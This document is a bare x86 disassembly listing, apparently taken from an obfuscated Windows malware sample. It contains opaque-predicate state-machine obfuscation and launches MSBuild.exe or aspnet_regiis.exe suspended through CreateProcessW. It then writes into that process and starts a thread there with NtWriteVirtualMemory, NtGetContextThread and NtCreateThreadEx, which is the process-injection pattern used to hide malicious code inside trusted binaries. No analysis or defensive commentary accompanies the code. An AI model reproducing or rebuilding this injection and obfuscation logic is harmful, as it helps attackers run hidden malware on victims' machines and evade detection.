mov edx, eax
add edx, 0x2714692e
sub edx, 1
sub edx, 0x2714692e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1990fecb
mov ecx, 0x9984e7ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [ebp - 0x1a8]
mov cl, byte [ebp - 0x133]
mov byte [eax], cl
mov eax, dword [ebp - 0x1a4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x1a8]
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
add edx, 0x6af73201
sub edx, 1
sub edx, 0x6af73201
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1990fecb
mov ecx, 0x5138d151
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [ebp - 0x1a4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
sub edx, 0x34c834b
sub edx, 1
add edx, 0x34c834b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6ecad9ca
mov ecx, 0x9932aa5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dword [ebp - 0x1bc], 0xc6899ada
jmp 0x1000e6db
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x12c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x1bc], 0xef2aa273
jmp 0x1000e6db
mov eax, dword [ebp - 0x1b4]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x1ac]
mov edx, dword [ebp - 0x19c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x1bc], 0x47bf41c5
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
add edx, 0x12943681
sub edx, 1
sub edx, 0x12943681
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x20ea0406
mov ecx, 0x6b2e5ac8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dword [ebp - 0x1bc], 0x6041e31b
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
sub edx, 0xec0a1427
sub edx, 1
add edx, 0xec0a1427
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d932bfc
mov ecx, 0xf781752a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dword [ebp - 0x1bc], 0xef5cbb39
jmp 0x1000e6db
mov eax, dword [ebp - 0x1a4]
mov edx, dword [eax]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x1bc], 0xeeb43f1
jmp 0x1000e6db
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x12c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x1bc], 0x5cdfa332
jmp 0x1000e6db
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x1bc], 0x245479f7
jmp 0x1000e6db
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x1bc], 0xbb69d582
jmp 0x1000e6db
mov eax, dword [ebp - 0x184]
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x1bc], 0xae7d5be9
jmp 0x1000e6db
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
sub ecx, 0xccab91c2
add ecx, eax
add ecx, 0xccab91c2
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x14c]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov dword [ebp - 0x1bc], 0xed85b02
jmp 0x1000e6db
jmp 0x10007860